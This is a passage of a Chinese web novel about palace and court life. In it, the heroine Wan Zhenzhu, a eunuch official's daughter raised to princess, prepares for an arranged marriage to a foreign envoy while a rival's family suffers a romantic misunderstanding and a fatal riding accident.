“不过有一些日子没登门,让妹妹念着,全是我的错。”林江郡主认错。 “姐姐顶门立户,要抚育子嗣,还要撑起门楣。您啊,忙碌人。”万珍珠笑道。 “可不,我就是妹妹嘴里的忙碌人。没法子。”林江郡主把自己打趣一回。 “我登门,真是来贺了妹妹的喜事。”林江郡主这会儿笑道:“妹妹好 命数。” 林江郡主夸一回万珍珠。万珍珠拿着茶盏的手一搁,茶盏搁下。 “我命数好吗?”万珍珠在心里却道,真不信。 前世今生,活了三辈子。万珍珠想着前世的苦日子,又哪来的甜。 那算好命? 真是好命,万珍珠得骂一声这世道是狗屎。 明明如今的好命,虽然也是抱了亲爹的金大腿。 可她万珍珠也是付出了的。 至少,趁着好时机,那是曝光了自己的身世。 若非如此,万珍珠哪来的好日子。 “我的命数,要论好,也挺好。”万珍珠笑的张扬。 “毕竟爹娘心疼我,特别是爹爹,也是一位人物。”万珍珠伸手,虚指一下自己,又道:“我不过占了爹爹的亿点点光彩。” “只论自个,剥去爹爹给我的光环,我什么也不是。”万珍珠认得清楚自己。 前世的经历,那已经教训了万珍珠。莫张狂,真以为自己是一个人物。 其时,一旦落了下风,在恶劣的环境时。万珍珠只是凡人,跟万万千千的普通人没两样。 “可要说命数太好?我就不信。姐姐生在宗亲王府,姐姐的命数,在许多黎庶百姓眼中,那真是高不可攀的。” 万珍珠笑得开心。 “姐姐,命数好不好,只看跟谁比较。这世道嘛,没有最好,只有更好。”万珍珠诚恳的讲道。 可不,不比好,若比烂。真可谓是只有更烂,没有最烂的人生。 “妹妹此话,挺有道理。”林江郡主赞同了。 林江郡主前来,不止贺喜,还给万珍珠送了贺礼。 “姐姐的府上不是送过礼了嘛。”万珍珠可没重复收礼的道理。 “前面,那是例行的公事。”林江郡主笑道:“这一回,我可是来替妹妹添妆的。又不同了。” “……”一听添妆二字,万珍珠脸红一回。 “唉哟,瞧瞧,妹妹脸红了。这是恨嫁了。”林江郡主捂嘴笑一回。 笑罢,二人互相打趣几回。笑得开心后,林江郡主品一品茶汤,尔后,又跟万珍珠问道:“只我有一事不懂,如何陛下赐婚,给妹妹赐了大赵的臣子。” “那甚的新唐县伯,再是一个人物。那也是大赵的人物。凭万内相的本事,如何舍得让妹妹做了和亲公主。” 在林江郡主的眼中,这和亲公主的身份真不好。 最主要还是林江郡主闹不懂,万内相咋就舍得亲闺女? 想不通。 为止,林江郡主还专门回了娘家,跟爹娘取经。 结果,林江郡主被教育一回。 林江郡主再想一想父王的教育,林江郡主就是心头一寒。 “妹妹,远嫁的话,又非好事。”林江郡主想劝一回。 “妹妹,内相大人得陛下欢心。你若不想远嫁,总可以求了话。不外乎让钦天监合一合八字,若有相冲,去寺里清修三载。到时候,再让内相大人替妹妹相看更合适的姻缘便是。” 林江郡主连退婚的法子,那都替万珍珠想好了。 “其时,我是乐意的。”万珍珠当着林江郡主的面,她大大承认事实真相。 “……”林江郡主盯着万珍珠,瞧着好一会儿。良久后,林江郡主才说道:“妹妹胆大。” “我啊,哪胆大,不过是真的心悦了新唐县伯。他人好。”万珍珠说着实话。 “……”林江郡主给整得不会了,她一时之间也不知道应该说点啥。 就想着前面提过的话,林江郡主觉得自己有一点尴尬。 “这样吗?”林江郡主说道:“既然是妹妹心悦之人,能嫁给这般的人物,确实是好事,好事。” 瞧着林江郡主尴尬的神情。万珍珠捂嘴笑一回。 笑罢,万珍珠回道:“姐姐,您真不必担忧什么。” “您的话全是好意。我都能听懂的。”万珍珠当然知道林江郡主确实是好意。 既然是好意,她当然感激一回。 林江郡主瞧着这般态度的万珍珠,轻轻点头。 “妹妹既然全懂,我便是不多嘴。”林江郡主也是点到即止。 有些时候太多嘴,也是容易让人烦心的。 林江郡主就不当多嘴的人了。免得讨人嫌弃。 镐京都,皇宫,宫廷内苑。 王贤妃也知道圣意,更知道万内相的女儿被天子册封为公主。 “陛下待万大伴真好。”王贤妃说这话时,有一些咬牙切齿的味道。 可为了习惯的温柔性子,她又本能的改一改语气。 只心里,王贤妃是憋屈着。 “娘娘,这浑江公主的婚事已了,有天子赐婚。娘娘还省了一桩事情。”嬷嬷劝话道。 “……”王贤妃听着这话,她摆摆手,说道:“哪是省了一桩事情。指不定,还是惹了麻烦。” “娘娘,这从何说起。” “从何说起,哼。”王贤妃冷哼一声,说道:“内相大人的女儿当了和亲公主,还是嫁给大赵的臣子。这哪是好事。要知道和亲公主可是要远嫁。” 听着王贤妃的话,王嬷嬷愣神片刻后,回道:“既然是陛下赐婚,自然是天恩浩荡,内相大人应该感激涕零才对。” “……”王贤妃可不这般想。 将心比心,王贤妃膝下若有亲生的女儿。这女儿做了和亲的公主。 光想想,王贤妃遭不住。 好在,王贤妃转念一想,她就一个亲生的儿子。 那娶妻生子,从来是添丁进口的好事。 王贤妃的心情又好上许多。王贤妃说道:“罢,既然赐婚圣旨已降下,没得更改。本宫倒不多事儿。” 王贤妃更在意的还是宫廷内苑的事情。特别是张昆,如今这一位天子旧人跟四皇子搅和在一起。 这让王贤妃很堵心。 王贤妃也听着一些消息,四皇子的身子骨据说越养越好。 太医都有结论,只要平安长大,仔细调养。 将来娶妻生子,与寻常人无异。 一个健康的四皇子,那对于王贤妃而言,她有一些紧张。 因为天子对于四皇子貌似很在意。这四皇子夺了君父的在意。 三皇子做兄弟的怎么办? 王贤妃这一个亲娘要心疼亲儿子。毕竟君父就一人。 这做爹的疼了这一个儿子,免不得在另一个儿子身上就要少心疼亿点点。 人有十指,各有长短。 有圣宠跟没圣宠,那区别太大。王贤妃很在意皇子能得君父几多重视。 第63章 大晋朝,镐京都,皇宫,宫廷内苑。 当朝天子的李贵妃,大赵朝的和亲公主淑阳公主瞧着自己手中的礼单子。 这一位一进宫就不怎么得宠的和亲公主冷哼一声。 “难得皇兄还记着本宫这一个妹妹。”淑阳公主不开心。 陪嫁李嬷嬷在旁边小心侍候着。 李嬷嬷知道,公主只是一时气盛。真说怨了天子? 那怎么可能。 当然李嬷嬷心里的天子,那是大赵的天子,淑阳公主的亲兄长。 至于大晋天子洪福帝?在李嬷嬷的心里,那真可谓是不提也罢。 淑阳公主这一位贵妃的日子,瞧得嘛,平平无奇。 看着跟谁比? 在淑阳公主的心里,那自然不开心。毕竟淑阳公主想求的东西太多。 若落在洪福帝的低位嫔妃们眼中,那又羡慕的紧。 淑阳公主这一位和亲公主,一进宫就是贵妃娘娘。 低位嫔妃里,洪福帝宠过的太多。 谁又不羡慕呢。毕竟没靠山,一旦再没了帝王的宠爱。 那日子很难熬。难熬的必需给自己寻一个靠山。 若不然的话,被人给苛刻了,那是有理没地方说去。 淑阳公主又不同,这一位和亲公主有一位一母同胞的兄长。 这一位亲兄长还是大赵的天子。 大赵天子很在乎这一个亲妹妹。不止递过了国书。 还派了使节入朝,一则谈了大晋大赵的友好。二则也是差人给妹妹送了礼物,点明兄长记挂妹妹。 如此,洪福帝对于贵妃再平平无奇,可这应该给的待遇,从来是加倍的给,没半点怠慢。 除了洪福帝不宠爱贵妃外,瞧着,贵妃这日子很潇洒。 “殿下……”李嬷嬷唤了一声。 李嬷嬷唤淑阳公主,一直是唤了殿下。哪怕淑阳公主被洪福帝册封为贵妃。 这称呼就没改过。 或者说曾经改过,那会儿刚进宫,淑阳公主对于洪福帝还抱有希望。 那时候的淑阳公主还想争了帝宠。 那会儿的李嬷嬷也是识趣的更改过淑阳公主的称呼,唤了“贵妃娘娘”。 等着后来时间一久,淑阳公主发现洪福帝压根儿不乐意来她的寝宫。 或者说来一来,就是白天的时候小坐一下。 哪怕洪福帝给赏赐时,大小年节,逢着喜事,哪一处都不落下淑阳公主。 可这些面上的待遇再好,洪福帝不乐意歇在淑阳公主的寝宫。 来了,也不过是二人盖锦被,纯粹就睡觉。 真没旁的什么。 搁这种情况,淑阳公主对于自己能不能生下皇嗣? 淑阳公主一点不抱希望。 因为洪福帝压根儿没给淑阳公主希望。 于是淑阳公主就让陪嫁的李嬷嬷改了称呼,改回原来“公主殿下”的旧称去。 做为公主,淑阳公主还是有自己的骄傲。 洪福帝不喜,淑阳公主还不侍候了。 至于大吴朝和亲公主,被册封德妃的那一位。 德妃殁了后,淑阳公主就更加看得开。 这洪福帝后宫的圣宠,不争也罢。 “您是陛下的亲妹妹,陛下可一直记挂着您。”李嬷嬷劝话道。 “唉……”淑阳公主叹息一声。 “本宫知道,兄长待本宫一直爱重有嘉。本宫当年……”淑阳公主一想着当年旧事。 淑阳公主心头恨啊。 毕竟人嘛,越是日子不如意,越会回想过往。 想到过往,父皇待她的不疼爱,淑阳公主恨过后,也是无力。 可越是这般,越想到亲兄长做了天子。淑阳公主更恨。 若非和亲,淑阳公主在燕京都里做公主殿下。那日子岂会过成今天的这般样子? 对于淑阳公主而言,如今的日子有荣华富贵又如何? 她生来就是皇族,什么样的富贵荣华没享受。 可淑阳公主更想求了一位好驸马。如今的她没了驸马,不可求相伴一生的良人。 至于洪福帝? 这一个枕边人,在淑阳公主心里压根儿不是良人,不是相伴一生的人。 初进洪福帝的后宫,淑阳公主抱着希望。只能说当初多大的期待,后来就是多大的失落。 再到现在,淑阳公主对于洪福帝没期待,没失望。 淑阳公主压根儿想当没了洪福帝这一个人。 “罢,本宫还是拟了礼单。让人给兄长带回去。我们兄妹不能见面,本宫也要让皇兄知道,本宫一直念着燕京都的山山水水。还有那燕京都的一草一木。” 睹物思人,淑阳公主当然得让大赵天子这一位亲兄长知道,她这一份心在故乡。 李嬷嬷听过公主的话,自然满口应下。 至于公主殿下给大赵天子这一位兄长的贺礼,那当然是做使节的新唐县伯送归。 大晋朝,镐京都,内城,浑江公主府。 原来的郡主府没有扩建,不过是换了牌匾等等。 规制不变,应该改的表面功夫还是做到位。 至于花销嘛,当然是万忠良识趣的自己给顶上。 没可能让帝王出了花销的。 应该拿的名头,自家已经拿到。应该识趣的地方,万忠良从来很识趣。 至于女儿出嫁,那使节团等等,万忠良很关切。 万忠良关切着这一些事情,更是大大小小的一切都差人盯紧了。 特别是天家添了的嫁妆,那关系着女儿的一辈子。 万忠良当然不能忽视半分。 “娘舍不得你远嫁。”牛二囡瞧过女儿的新嫁衣,她又感慨一回。 “……”万珍珠心情激动一回。她也舍不得。 可想着“创业”的未来,想着浑江郡的土地在招手。 万珍珠一咬牙,说道:“娘,我们不是说好了嘛。将来您和爹爹一道离开镐京都,到时候女儿给二位养老。我们一家子不分开。” “你爹在镐京都的皇城当差,走不得。”牛二囡说这话时,她心头有一份无奈。 若是可以的话,牛二囡真不想女儿远嫁。 可想着夫君跟她私下谈过的话,牛二囡又是想通了。 想要子孙过得好,那前程在望的时候,还是不要拦了。 牛二囡能怎么办?牛二囡从来不是自己能拿了大主意的人。 有夫君万忠良做主后,牛二囡就顺从了。特别是亲闺女瞧着也乐意的情况下。 牛二囡拧不过父女二人的心思。 秋日,最是好时节。 镐京都,赵济世很忙碌。他收了淑阳公主安排给天子的贺礼。这一边收妥当后,另一边又要忙碌起自己的婚事。 总之赵济世应该忙碌的,他肯定想一一完美。 此时,在镐京都的一点旧关系。赵济世就是暗暗的拉拢一番。 当然明面上,那肯定还是避讳一二。 在这般情况下,三书六聘等等,自然是走了快车道。 应该加速的情况下,肯定不能慢慢来。 毕竟赵济世是大赵朝的新唐县伯,他乃大赵臣子。 没可能一直留在大晋朝的土地上。 在秋日最好的时节里,大赵新唐县伯与大晋浑江公主的婚事将举行。 公主街,这是被人取的雅称。 至于认不认,这不重要。也不过是一些人图一个好彩头。 刘展在人群里,他瞧着送往的十里红妆,瞧着吹吹打打的热闹场景。 刘展心情很坏。 汝阳王被削爵了,如今成了普通的宗室。刘展的王世子自然也没了。 对于刘展而言,没了王世子,那跟天塌了没两样。 普通的宗室子,没爵位的宗室子,那没什么前程。 毕竟皇家的宗室人数太多。 没爵位,没前程,就是没了人生的指望。 人生嘛,由简入奢易,由奢入简难。 当王府世子的时候,刘展还会风花雪月。还会想着那些年,那些情情爱爱。 或许觉得皇族的王府世子,那一出生就是含着金汤匙,一切理所应当。 等着一朝贬落泥里,刘展过了苦日子。 至少在刘展眼中的苦日子,那真正的苦日子,似黎庶百姓一般的苦日子,刘展肯定没“享受”过。 或者说连想,那都不会想像。毕竟,真没瞧见过。 在刘展心里,他如今的苦日子,没了王府世子的威风与好日子,那就是贬落泥里,成了下等人。 问刘展恨谁? 刘展恨得人太多,这恨的人里也有浑江公主。 瞧着新唐县伯与浑江公主的大喜事。 刘展恨的眼珠子都是红红的,那是恨得倾五湖水难洗干净。 奈何人微就言轻,对于如今的浑江公主,刘展连靠近,那都难了。 在刘展心情很坏,瞧过那风光无限的送嫁妆队伍从跟前走过时。 落刘展心里,这太招摇了。太招他的恨了。 彼时,在刘展的背后十步处。还有一位女郎在远远的瞧着。 顾表妹对于表哥一直心生欢喜,二人是青梅竹马。 对于顾表妹而言,她一直盼着与表哥相守一生。 哪怕姨母总跟她讲,她与表哥的缘分太浅。 顾表妹知道这一切,可她还是期盼着。万一呢,万一上苍庇护呢。 可顾表妹更清楚,她从来都盼着表哥好,盼着姨母好。 特别是姨母,在顾表妹的心里。母家落难,是姨母收留了她。 奈何她与表哥可能真是缘浅。顾表妹瞧着姨父出事后。 姨母也是一下子老了十岁不止。 就是这般情况下,表哥还在纠结过往。 对于浑江公主,问顾表妹了解多少。顾表妹知一些表面事。 细问深处,顾表妹不知道。 可顾表妹知道一桩的旧事,便是表哥当初想迎娶了浑江公主。 这事情知道的时候,顾表妹心里失落,她当不得表哥的嫡妻。 又在心中替表哥高兴,表哥迎娶了内相大人的女儿。 想来会有一个好前程,不止是爵位,还可能得了陛下的青睐,得着实权,得着官位。 如此,表哥会有一番大做为。 结果的最后,顾表妹瞧到了表哥的失落。 表哥与浑江公主没 了往后。 那会儿顾表妹又是失落,她真的替表哥伤心,如此,表哥不能与心上人一道相守一生。 又是窃喜,毕竟表哥失了心上人,她呢?她能有机会吗? 顾表妹心悦表哥。一直都是。 表哥落难了,她心意不改。她一直想守着表哥。 无论是荣华,还是落魄。 可是人生不由自己。顾表妹瞧着表哥的背景。 她忍不住的想,表哥还在念着浑江公主吗? 想到这些时,顾表妹转身。 顾表妹回了如今住的院子。她还是住了姨父家。 “姨母。”顾表妹去见了姨母。 曾经的汝阳王妃,这一位顾表妹的姨母。她的容貌很美。 哪怕年岁渐长,那一身的气派,还是让人瞧着心醉。 “我想通了,我愿意嫁去司马家。”顾表妹说道。 “好孩子。” 这一位曾经的汝阳王妃,如今的庶人妻杨氏。 杨氏叹息一声,说道:“我知,你一心在展儿的身上。可你们二人,缘分太浅。” “如今司马家的儿郎很好,姨母也盼着你有一桩好姻缘。”杨氏抚一抚外甥女的手,劝一回话道。 对于杨氏这做母亲的也罢,对于顾表妹这一位青梅竹马也罢。 二人其时一直误会着一些事情。 那便是她二人都以为刘展心悦了浑江公主万珍珠。 谁让刘展的书房里,那留了太多关于浑江公主的言语与书信。 有些事情,换一个角度看问题,那当然是答案就不同。 特别是刘展留的一言片语,那还是被烧成灰后留下来的一点痕迹。 这不,让顾表妹发现了,还让杨氏发现了。这二人当然就是闹一个天大的误会。 镐京都,内城,浑江公主府。 订婚走六礼,男方的聘礼送了,女方的嫁妆送了。 待钦天监的吉日,便是新嫁娘出门的日子。 如今,不过是送嫁妆的大日子。瞧着,婚期也是近了。 刘展瞧过的,便是送嫁妆的喜庆日。那吹吹打打,就好不热闹。 这一日,刘展回了家。他发现,一切如旧。 不,应该说在夕食后,在准备歇下前。刘展发现,他总算明白过来,那是少了一些什么。 次日。 刘展去瞧了表妹住的屋子。结果,人去屋空。 去了正屋。刘展问了生母杨氏。 “母亲,表妹如何不在?”刘展关切一回。 对于细心体贴的表妹,刘展很在意。 毕竟在刘展的心里,他与表妹一直两情相悦。 “……”杨氏沉默片刻后,瞧着儿子一直等候一个答案的模样。 “你表妹归家了。”杨氏给出答案来。 “表妹归家了。”刘展重复一回话语。 “这怎么可能。”刘展不相信这一个答案。 “此乃真的。为娘的还能骗你不成。”杨氏回道。 “表妹如何归家,表妹的母族待表妹一直苛刻,表妹归家,那不是让表妹受委屈。不,我不赞同。”刘展态度坚决。 “唉。”杨氏叹息一声。 “展儿,府上如今的情况落魄了。你是母亲和乃父的指望。你,如何还能儿女情长。” 杨氏感慨一回。 “当然,母亲也明白你与你表妹是兄妹情深。你做兄长的关心妹妹,母亲能理解。”杨氏又道。 “……”刘展让母亲的一番话说得是愣在当场。 “母亲,我与表妹两情相悦,如何说是兄妹情深。”刘展想叫委屈。 这亲娘说的话,太让人憋屈了。 刘展又道:“我一直想迎娶了表妹的。只是如今落魄,怕表妹委屈,一时拖了下来。” “……”这一回轮着杨氏愣在当场。 “展儿,你不是心悦了浑江公主,非卿不娶吗?”杨氏说道。 “浑江,那是一个疯子,我会心悦她?没可能。”刘展的嘴里,那不可能有浑江公主的半句好话。 “可是……”杨氏这会儿有些不知道应该说什么。 “我与你表妹一直以为,你心悦了浑江公主。”杨氏叹息一回。 “你表妹归家,乃是订了亲事,回了母族这是准备嫁去婆家做新妇。”杨氏垂低了视线,尔后,回道。 刘展听过母亲的话,他完全不敢相信。 “我去寻表妹,我要迎娶表妹,如何能让表妹嫁给旁人为新妇。”刘展当即起身。 这会儿刘展很着急,哪怕成了庶人,只是普通的宗室子。 可应该留的财富,天家没给全剥光。还是留了一份宗室的体面。 刘展如今嘛,落一般人眼中,那就是普通的宗室子,还有一份富贵饭。 当然,要跟往年的王府世子那等荣华显贵相比,那就没得比。 可这般又如何? 刘展还想迎了表妹归来,他想迎娶表妹的。 “展儿,止步。”杨氏唤了话。 “你与你表妹的缘分太浅。她已订亲,不可能再嫁到刘家为妇。”杨氏肯定的说道。 “这怎么可能。”刘展讲道:“表妹才归家,只要没交换婚贴,一切可以改。” “已经换了婚贴。”杨氏讲道。 “顾家已经替你表妹换了婚贴,我点过头,你表妹也点过头。亲事成了。”杨氏讲道。 “……”刘展愣在当场。 “你未来的表妹夫姓司马,乃是司马家的大公子司马宵。”杨氏又讲了顾表妹未来的夫家。 “司马宵,那一个病秧子。”刘展当然知道司马宵是谁。 就是知道了,他才不开心。 刘展的目光落在母亲身上,他不敢相信。 “……”杨氏的目光不心虚。她的目光与儿子对视,她的神情一点一点的冷下来。 “展儿,这婚事是你表妹点头的。”在杨氏的嘴里,她没唤了外甥女的闺名。 这讲话时,也是点了儿子,那只是表兄表妹的感情,是兄妹。 至于司马宵是不是病秧子,在杨氏心里,那又如何? 或者说,早年瞧着外甥女跟儿子亲近,那等暧昧。 杨氏瞧出来,她只是不点破。 当年做王妃时,杨氏不想儿子娶一个没背景的儿媳。哪怕是外甥女,那也不成。 那会儿不点破,就是不想让事情难堪。 如今王府的爵位没了,越是如此,杨氏越想让儿子娶一个能帮衬上的儿媳。 当然,在杨氏心里,儿子换了主意。那会儿瞧上浑江郡主时。 杨氏是开心了许久。 就是那会儿,杨氏把一些事情点破。也是避着儿子,让外甥女瞧清楚一些事情。 外甥女那一边是点破了。让外甥女扭转了心意。 在杨氏心里真不容易。毕竟外甥女是一直以为嫁给司马宵这一位司马家的大公子。对于自己家的傻儿子有帮衬。 落杨氏眼中,这事情确实也是能帮衬上亲儿子。 司马一族,在镐京都也是势力不小。 特别是倒魏皇后一事上,司马一族不起眼,可还是拢了不少的好处。 有些事情不显山不露水,应该拿捏好处时。 司马一族没少一份。 这会儿的杨氏是拿出了自己的态度。那是压了亲儿子一头。 有些事情,没有缘分,落了杨氏心里,她就是这般的坚持。 大晋朝,镐京都,内城,浑江公主府。 万忠良瞧着女儿,这会儿他讲道:“马上就至婚期。” “一旦你出嫁,咱与你娘再想见一见你,也是不容易。”万忠良感慨一回。 “爹爹,您和娘往后,还是去了女儿身边。让女儿奉养二老吧。”万珍珠央求一回话道。 “好,好。”万忠良应下来。 明明就将近了好日子,万忠良肯定口头应承好话。 可在心里,万忠良太清楚,没可能的。 他是陛下跟前的贴身心腹,他自然要陪了陛下百年之后的。 万忠良更清楚,他这一个太监心腹不能离开。那么,妻 子牛二囡也不可能离开。 女儿的心意,万忠良心领了。至于事情嘛,那不成的。 这会儿的万忠良挥一挥手。让侍候的丫鬟婆子全退下。 屋内,剩下父女二人。万忠良递上一个小册子。 “瞧瞧,收好。”万忠良吩咐道。 万珍珠按过去,大略翻一翻。 “这些是……”万珍珠问一回。 “咱留给你的人手,全在燕京都。”万忠良话罢,又递了一方小印给万珍珠。 “这是信物。”万忠良说道。 “往后,这些人手就是归你管了。”万忠良说道:“在燕京都有这些人手在,咱不担忧你的后半辈子。” “他们既是你的眼睛与手脚,你一声吩咐即可。”万忠良讲道:“你可信任,这是咱替你千挑万选的。人手不多,可这些人全受过咱的恩惠,过命的恩惠。” “爹爹……”万珍珠听懂了。 这些人拿了万忠良的过命恩惠,那当然要用性命来偿还。 只能说内相大人的恩情,真是还不完,又得还了内相大人的亲闺女身上。 第64章 万内相把自己精心挑出来的人手给了闺女,也算是心头安稳几分。 毕竟闺女手里有人,当爹的心里不慌。 “拿着,往后去了燕京都,咱和你娘不在你身边。一切多仔细些。”万忠良叮嘱一回。 “嗯。”万珍珠重重点头。 谈罢这话,万忠良与亲闺女一道吃吃茶。 洪福十七年,秋。 万珍珠瞧着出嫁的日子越来越近。她的心情突然有一点变化。 这一刻,万珍珠有一点不想出嫁了。 赵大郎很好,可远离爹娘,那等心情变得很难受。 或许这会儿的万珍珠有一点理解那等哭嫁女的心情。 哭嫁,不过是不舍得。 当然,也便是心情起复一番。尔后,万珍珠能想通。 眼下的分离,不过是为了今后的相聚。 太监风光短暂,智者早寻退路。万珍珠觉得她不算太聪明。 那么,笨鸟先飞,还是早早寻了退路为好。 凭自己的封号,浑江,那么浑江郡的土地。万珍珠就是盯上了。 一切顺其自然也罢,还是洪福帝随手一指也罢。 搁万珍珠眼中,这便是天意。 万珍珠既是想顺了天意,更想顺了自己的心意。 这一日,林江郡主拜访。 万珍珠见了林江郡主,二人还是吃茶闲聊,说些趣事。 “今年的秋猎,妹妹没参加,真是可惜了。我可少瞧了一回妹妹狩猎时的风采。”林江郡主的语气里有遗憾。 “是啊,少秋猎一回,确实是一桩遗憾。”万珍珠同意一回。 “那妹妹如何不参加秋猎?”林江郡主好奇的问道。 “在绣了自己的嫁衣。”万珍珠笑道。 说是自己绣了嫁衣,也是夸张。其时多是绣娘的功劳。 万珍珠不过是补了几针角,算是意思意思,求一个吉兆。 “喜事为大。”林江郡主倒是赞同万珍珠的话。 “只是一想着往后妹妹远嫁,我当真舍不得。”林江郡主感慨一回。 “在镐京都里,我跟妹妹最投缘。少了妹妹,人生缺了一味。”林江郡主的语气里有遗憾。 “姐姐洒脱之人,少了我,镐京都依然繁华如旧。姐姐往后人生漫长,自然会遇上更有趣的人。一定比我有趣,我不过云云众生里最不起眼的凡人一个。” 万珍珠对于自己的定位,那是相当清楚。 论才情,她不拔尖。论智商,也不过平平无奇,普普通通。 高看自己,那太自大。万珍珠当然不会的。 “我与妹妹是性情相投,我二人皆是洒脱之辈。”林江郡主捂嘴笑一回。 “瞧我,我做事在镐京都里,有一些人可是一直腹诽着。”林江郡主背有靠山,娘家的背景在身后。 如此,林江郡主才不怕了蛐蛐。毕竟她不怕什么宗族规矩。 至于礼法?当然是天家的规矩为重。 谁让林江郡主是宗室郡主,还是一个寡妇。 只要林江郡主想,她讨好了上面的人。那么,下位者就没可能真的伤着她。 便是蛐蛐几句,也不会当着林江郡主的面。 说起来,万珍珠一琢磨,她跟林江郡主的处境嘛。半斤八两,二人各有各的难处,也各有各的脾气。 “妹妹,有一事,你怕不知吧。”林江郡主提了一事。 “姐姐耳目灵通,我且听一听姐姐要讲何事?”万珍珠是聆听一回的态度。 “……”林江郡主沉默片刻后,小声说道:“展儿早亡,我那婶婶,便是曾经的汝阳王妃,如今也是疯了。” “……”万珍珠愣在当场。 “怎会如此?”万珍珠满脸的不敢相信。 林江郡主的目光灼灼,她盯着万珍珠的脸颊瞧了一回。 尔后,林江郡主说道:“展儿的青梅竹马许了姻缘。为这事,闹了一回。” “这不,秋猎时,展儿许是意气用事。与人起了争端。秋猎半途,便是打道回府。就是打道回府的途中,展儿出了事情。” 林江郡主一五一十的说一说。 刘展出事,不是遇着什么劫匪,而是他自己心情不好,似乎喝了酒。 一时醉意,摔下了马。凭这,把脖子摔断了。 “……”万珍珠这会儿真愣住。 “这,太巧合了,如何突然就是人没了。”万珍珠呢喃自语。 对于刘展,若是林江郡主不提,万珍珠真快要忘记这人。 谁让刘展搁万珍珠的心底,他还真没几分的好印象。 “罢,这事情说来,也是因果自酿,许是上苍的安排吧。”万珍珠说的淡然。 哪怕是一条人命,那又如何? 刘展于万珍珠而言就是陌路人。万珍珠对于不在意的,那当然是懒得理会。 万珍珠说得云淡风轻。林江郡主听罢,还是轻轻颔首。 “妹妹说的有理,人啊,福祸自招。”林江郡感慨一回。 “只可怜我那婶婶,膝下就这么一个独子。”林江郡主是可怜婶婶。 或者更可能是同病相怜,因为林江郡主的膝下也只有一个独子。 对于林江郡主而言,独子就是独苗苗,是她一辈子的指望。 那等当母亲的心态,还是守了一个儿子的心态。林江郡主觉得她特能理解了婶婶杨氏。 可万珍珠不爱听了刘展的事情。刘展生死,与万珍珠没干系。 万珍珠反正提了一句,问道:“姐姐,不是说刘展与他的表妹青梅竹马。如何又是闹到一朝贬了泥里,青梅另嫁他人。” 这话说的,万珍珠语气平平无奇。可还是带着一点八卦的味道。 “这事情啊,说来话长。”林江郡主见万珍珠好奇。 于是林江郡主仔细说一说。 在顾表妹归家后,那惹了好大的一场风波。 这事情闹着,还让林江郡主知道一些风声。 本着事情初时不算大,林江郡主感慨着发生在镐京都的风闻。 于是打探一回,待清楚内幕后。 林江郡主又感慨一回,郎有情,妾有意,偏生就无缘。 等着刘展早亡后,林江郡主更感慨。 “说来,白发人送黑发人,我的婶婶最可怜。至于叔父,叔父膝下尚有庶子。到底是传承有序,断不了香火。唯婶婶,她是受不住失了唯一的嫡子。” 林江郡主仔细说来,万珍珠仔细听一番。 听罢,万珍珠旁的没在意。毕竟刘展跟顾表妹什么鸳鸯命苦。 万珍珠一点不同情。 这二人有太多机会,自己抓不住。又或者说二人一直有什么误会的,不关万珍珠的事情。 万珍珠更在意的还是顾表妹嫁的夫君。那一位司马家的大公子司马宵。 万珍珠没听错名字,她又跟林江郡主问一问,问了司马宵的家世背景。 再三确认,真没认错。 “可惜。”万珍珠感慨二字。 “是啊,确实可惜。”林江郡主附合一回。 “姐姐可惜什么?” “那妹妹又可惜什么?”林江郡主笑着反问一回。 “我啊,我可惜了那一位司马家的大公子。本是一表人才,却遇着匪徒刺杀,如此伤了根基,才会落一身病痛。瞧着顾家姑娘嫁入这等门楣,往后的日子难了。” 万珍珠实话实说。 顾表妹心里有人,还嫁了一个病秧子。虽然这一个病秧子不是天生的,而是后天人为造成的。 司马宵,朱三姑娘上一辈子夫君的大哥。 司马宵上一辈子的命更歹, 早早去逝。司马家的族长之位,在后来就落在朱三姑娘上一辈子夫婿身上。 说起来,对于司马家,万珍珠关注的很少。 毕竟要离开了镐京都,往后,大家注定是陌生人。 前世今生,唉,万珍珠琢磨着。 前世的旧事,前世独女早早没了。那些仇算谁的? 万珍珠都算不清楚。 因为万珍珠也清楚,她前世的独女手上可能也不干净。 因为,那会儿的独女已经被朱三姑娘这一位宗妇的许诺给迷了眼睛。 若非万珍珠在前世偶尔查到了独女已经喝下绝子汤。 万珍珠哪能脑子清醒啊。 只能说人生在世,有时候,有些事情看立场。 屁股坐哪,立场在哪。 “我与妹妹想的不一样。我还在感慨了堂弟展儿和青梅表妹的有缘无份。”对于林江郡主而言,她也爱过风花雪月。 只少年时光太美好,嫁人后,一切变了。 “甭管想法是不是一样。其时,也不重要。”万珍珠实话实说。 “是啊,如妹妹所言,一切皆已经发生了。不过成了我等嘴里的谈资。”林江郡主感慨一回。 “只盼着我这一辈子,莫活成了别人嘴里的笑话。让人耻笑一生。”林江郡主这般讲道。 “姐姐一直是寻了自在惬意。如何,又在意起旁人的评价。”万珍珠可欣赏了林江郡主的潇洒。 哪料,林江郡主也要守了框框条条。 免不得让万珍珠嘀咕一回。这吃人的世道,太难了。 “我再惬意,也是沾了出身的光彩,让父王母妃多多心疼,护了我这一个不争气的女儿。”林江郡主有自知之明的讲道。 “只膝下的儿郎一日大过一日,为小儿名声,我也得慢慢的改变。”活在世间,为母则强。 做了母亲,林江郡主能怎么办? 好姐妹浑江公主远嫁他乡,林江郡主觉得万妹妹的话五分真。 一旦万妹妹远嫁,哪可能寻着跟万妹妹一样的有趣之人。 既然跟无趣之人相处,林江郡主隐于众人,可不是泯然众人矣。 浑江公主府内,万珍珠听过林江郡主的人生感悟。 日子这般走着,一天一天。 待钦天监合的成婚吉日。那一日,浑江公主府是张灯结彩,好不热闹。 喜房内,喜娘在替公主殿下张罗。 而牛二囡则是拿着梳子替亲闺女梳了长发。 “一梳梳到尾,白发齐眉。” “二梳梳到尾,子孙富贵。” “……”喜娘在旁边唱着祝词。这些祝词入耳,牛二囡忍了心里的不舍之意。 这时候的牛二囡只是盼了,盼着喜娘的祝词一定要一一实现。 在公主府外,送亲的使节队伍已经来了。长长的队伍。 在公主府外,很多瞧热闹的人已经围着,围得水泄不通。 公主府的管事差人抬了铜钱,先是洒了铜钱,请大家伙沾一沾喜庆。 得了铜子,自然是有人纷纷贺彩,一串儿一串儿的吉祥话,总有人不停的讲了。 气氛很热络,场面很热闹。 公主府内,万忠良坐于正厅。他在等候着。 一直等候着妻女的到来。 牛二囡让喜娘搀扶着坐于高堂之位。此时,夫妻二人一道坐于此。 万珍珠也已经被喜娘搀扶了出来。这会儿的她立于大堂之内。 万忠良起身,牛二囡本来坐下,这会儿也忙起身。 “爹爹,娘……”万珍珠唤一声。 “望尔令成,福禄长生。”万忠良说着自己的祝福。 